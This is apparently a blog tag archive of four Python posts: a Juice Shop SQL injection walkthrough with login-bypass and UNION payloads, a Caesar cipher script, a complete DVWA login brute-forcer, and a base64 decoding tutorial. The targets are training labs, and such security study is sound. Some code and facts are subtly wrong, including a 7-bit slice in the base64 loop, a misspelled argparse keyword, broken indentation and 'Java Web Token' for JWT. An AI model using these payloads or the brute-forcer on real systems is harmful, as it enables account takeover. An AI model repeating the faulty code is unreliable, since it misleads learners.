Tag Archives: Python

OWASP Juice Shop SQLi

The OWASP Juice Shop is a vulnerable web application to train web application hacking on, much like OWASP WebGoat which I’ve already covered on this blog.
Without spoiling too much, the login form is vulnerable to SQL injection, and it is possible to dump the database from here. I’ll cover the detection of the vulnerability and how to automate exploiting it.
It is very easy to bypass the password check and login as anyone by using some Boolean logic and commenting out the rest of the query, as shown here:

myemail@somewhere.com’ OR 1=1 — –

What exactly does this do? Digging a little deeper in the login form and provoking an error (by only injecting a quote), we can see that the query done by the backend is the following:

“SELECT * FROM Users WHERE email = ‘myemail@somewhere.com’ AND password = ’81dc9bdb52d04dc20036dbd8313ed055′ AND deletedAt IS NULL”

So by injecting a quote (‘) we can break out of the email field and inject our own SQL query, in the above case one that equates to true and comments out the rest of the query, bypassing the password and deletedAt check.

Having identified the vulnerability, let’s try and dump the Users table. First step is to check the number of columns in the table and the name of these. We do this by constructing a UNION query and querying each column by ‘null’ (since we don’t know its name yet).

myemail@somewhere.com’ UNION SELECT null FROM users — –

This returns the following error:

SQLITE_ERROR: SELECTs to the left and right of UNION do not have the same number of result columns

So we continue adding nulls separated by a comma, until the error goes away:

myemail@somewhere.com’ UNION SELECT null,null,null,null,null,null,null,null,null,null,null,null from users — –

12 columns, that’s a lot! Let’s try and find names for them.
At this point we can guess the names, however the Java Web Token the application sets actually tells us almost all the column names, except one.
To find them, base64-decode the JWT.

id,username,email,isAdmin,lastLoginIp,profileImage,isActive,createdAt,
updatedAt,deletedAt,password,totpSecret

With this information, it is relatively easy to put together a Python script to completely automate the extraction of the database. The only really interesting info in the Users table is the password, so I’ve focused my script on extracting those. Although yes, I’m completely aware that the very first thing I did was bypass the password check, but it’s still nice to be able to login as anyone with their password (Juice Shop actually has an ‘achievement’ for just that!).

If you’re interested head over to my GitHub repo to check out the script.

Caesar ciphers in Python

One of the simplest ciphers is the Caesar cipher, also called the shift cipher. It works by shifting each letter in the alphabet n positions to the right, mapping it to a different letter. For example, using ‘rotation 13’, a is shifted 13 positions to the right, corresponding to the letter n.

What happens to the last letters in the alphabet? For example, shifting z 13 positions to the right maps it outside of the 26 letters of the English alphabet. In this case we have to use a bit of math, namely modular arithmetic. Whenever the result of the shift is bigger than the size of the alphabet (called the modulus), it wraps around and starts counting from the beginning. So z rotation 13 would become letter number 13 (26+13-26), or the letter m. Mathematically this is expressed as:

x ≡ (26 + 13) mod 26 ≡ 13

In Python, the modulus operator is designated as %

With these basics, how would we implement a Caesar cipher in Python? First, we need the letter number for each letter in the supplied string (let’s call it num), and then sum the rotation (rot) modulus the number of letters in the alphabet (26).

Mathematically, this would be written as:

x ≡ (num + rot) mod 26

For the first part, getting the letter number, we can either supply a table or, even simpler, get the ASCII value of the letter and subtract 97, since ASCII(‘a’) = 97. Remember, in computer science we almost always start counting at 0, which is why we subtract 97 and not 96 (97-97=0).
Getting the ASCII value is simple in Python, we just use ord() on the letter.

We can now shift the letter with the rotation value using modular arithmetic (to not get out of bounds of the alphabet), and finally change the resulting number back to ASCII using chr(). These 3 steps can be done in Python like this:

num = ord(char)
cypher = (num - 97 + rot) % 26
cypher = chr(cypher + 97)

Doing this for each letter gives us our encrypted string, the cipher text, which we can send to our friends and allies content in the knowledge that nobody can break our state-of-the-art cipher(!).

How then does the recipient decrypt the cipher? Apart from going to one of the countless online breaking tools or breaking it mathematically or using letter analysis, we can of course use Python again to do the decryption. Basically it’s the opposite of what we just did for encryption:

num = ord(char)
plain = (num - 97 - rot) % 26
plain = chr(plain + 97)

As you can see, we now subtract the rotation instead of adding it like in the encryption phase. We again use modulus to wrap around the alphabet, this time when we go lower than 0, or a.

Finally we can wrap the code in a loop so it works on the whole plainstring, import argparse so we can supply the string and rotation directly on the command line, and specify whether we want to encrypt or decrypt. The full script can be found on my GitHub repo or at the bottom of this post.

Using the script to encrypt and decrypt ‘hello world’

A few things to note: the script only encrypts letters, not symbols, and is hardcoded for the English alphabet (26 letters). Also, all letters will be changed to lowercase before encryption.

I hope you enjoyed this post. I intend to bring more crypto-related posts in the future since it is something I’m currently studying.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/python
# Takes a string and shift encrypts or decrypts it using the
# supplied rotation
import argparse

# Add arguments
parser = argparse.ArgumentParser(description="Encrypt/decrypt
    Caesar cyphers"
)
parser.add_argument("mode", help="Encrypt or decrypt", nargs="?",
    choices=("encrypt", "decrypt"))
parser.add_argument("string", help="String to encrypt/decrypt")
parser.add_argument("rot", help="Rotation to use")
args = parser.parse_args()

# Definitions
mode = args.mode
string = args.string.lower()
rot = int(args.rot)

def encrypt(string, rot):    
    """Caesar encryption function"""
     cypherstr = ""
     for char in string:
         if not char.isalpha():
             cypher = char
         elif char.isalpha():
             num = ord(char)
             cypher = (num - 97 + rot) % 26
             cypher = chr(cypher + 97)
         cypherstr += cypher
     return cypherstr

def decrypt(string, rot):
     """Caesar decryption function"""
     plainstr = ""
     for char in string:
         if not char.isalpha():
             plain = char
         elif char.isalpha():
             num = ord(char)
             plain = (num - 97 - rot) % 26
             plain = chr(plain + 97)
         plainstr += plain
     return plainstr

# Either encrypt or decrypt
if mode == "encrypt":
     print(encrypt(string, rot))
elif mode == "decrypt":
     print(decrypt(string, rot))

DVWA login brute-forcer in Python

I recently started playing around with the Damn Vulnerable Web Application, a PHP/MySQL web app for security researchers and students. It is, as the name implies, damn vulnerable.

After installation of DVWA you’ll be presented with a login page. Unless you supply the user and password from the manual you’ll have to get access some other way. Fruitlessly trying some SQL injection I decided to simply brute force the login, and used Burp Suite to get some more information. Turns out that all you need to login is the username, password, user token and a session id. The session id is provided in a cookie, the user token by the login page, and the username and password is of course what we need to find.

1
<input name="user_token" type="hidden" value="d3b0fabcd22dd8ad5f202f508777f8b8" />

While manually supplying a few user names and passwords I found out that the login page responds with a 302 Found HTTP response, either forwarding back to the login page in case of a failed login, or to index.php in case of a successful login (I already knew the default user name and password from the manual). Going back to the index.php resulted in a new user token being generated, but ignoring the forward meant I could continue supplying the same user token again and again.

I wrote the brute forcer in python using BeautifulSoup, requests and re, all python modules. The program is pretty simple: request the login page, find and extract the user token from within the login page, get the session id from the cookie, and return these plus a random username and password with a HTTP POST method.

Running this script with a supplied list of user names and passwords meant I was able to find the login in just a few seconds. The script is tailored to DVWA but could easily be customised for other vulnerable sites.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!/usr/bin/python

from bs4 import BeautifulSoup
import requests
import re

# url to attack
url = "http://192.168.56.101/dvwa/login.php"

# get users
user_file = "users.txt"
fd = open(user_file, "r")
users = fd.readlines()
fd.close()

# get passwords
password_file = "passwords.txt"
fd = open(password_file, "r")
passwords = fd.readlines()
fd.close()

# Changes to True when user/pass found
done = False

print("Attacking " + url + "\n")

# Get login page
try:
    r = requests.get(url, timeout=5)
except ConnectionRefusedError:
    print("Unable to reach server! Quitting!")

# Extract session_id (next 2 lines are from https://blog.g0tmi1k.com/dvwa/login/)
session_id = re.match("PHPSESSID=(.*?);", r.headers["set-cookie"])
session_id = session_id.group(1)

print("Session_id: " + session_id)
cookie = {"PHPSESSID": session_id}

# prepare soup
soup = BeautifulSoup(r.text, "html.parser")

# get user_token value
user_token = soup.find("input", {"name":"user_token"})["value"]

print("User_token: " + user_token + "\n")

for user in users:
    user = user.rstrip()
    for password in passwords:
            if not done:
                password = password.rstrip()
                payload = {"username": user,
                    "password": password,
                    "Login": "Login",
                    "user_token": user_token}

                reply = requests.post(url, payload, cookies=cookie, allow_redirects=False)

                result = reply.headers["Location"]

                print("Trying: " + user + ", " + password, end="\r", flush=True)

                if "index.php" in result:
                    print("Success! \nUser: " + user + " \nPassword: " + password)
                    done = True
            else:
                break

Decoding base64 in Python

This is a small tutorial for beginners on how to decode base64 text strings in Python3. While Python does have a function to directly encode and decode base64, it is always good practice to try and write one yourself if you are a new programmer.

Head over to Wikipedia to see how base64 is decoded. First, each character in the encoded string is assigned a number according to the base64 table. This number is then translated to 6 bit binary.

You can do this in Python by including the base64 table as a dictionary, and iterating through all characters in the encoded string, like this:

for char in string:
    if char in index.keys():
        bin_string += 
            "{0:06b}".format(index.get(char))

The last line formats the decimal value to 6-bit binary ({0:06b}). As the highest value in the base64 table is 63 (for the / character), 6 bits are exactly enough to hold it and no information will be lost (0b111111 = 63).

The above loop creates one long binary string (bin_string) which should now be partitioned in bytes (8 bits) and converted to ASCII. This can be accomplished with the following loop:

while len(bin_string) >= 8:
    byte = bin_string[1:8]
    char = chr(int(byte, 2))
    output += char
    bin_string = bin_string[8:]

This code iterates through the binary string until it’s less than 8 bits long (which should be the end), takes the first byte and converts it to ASCII (actually, Unicode) using the chr function. This could also be done by including an ASCII table and using that to convert, just like we did in the beginning with the base64 table. I’ll leave that as an exercise.
Finally, it removes the first byte from the binary string which we just converted, and the loop continues to the next byte.

If you use print(output) now, it should display the decoded string.

To make the script a little more intuitive you can incorporate the argparse module which allows the coded string to be included as an argument while running the script, like this:

python base64_decode.py --TWFu

Where ‘TWFu’ is an encoded string.

The code for argparse is as follows:

import argparse

parser = argparse.ArgumentParser(Description="")
parser.add_argument('--string', dest='string',     
    required=True)
args = parser.parse_args()

The string to decode then becomes args.string when called in the subsequent code.

Happy coding!

The full script can be found at github.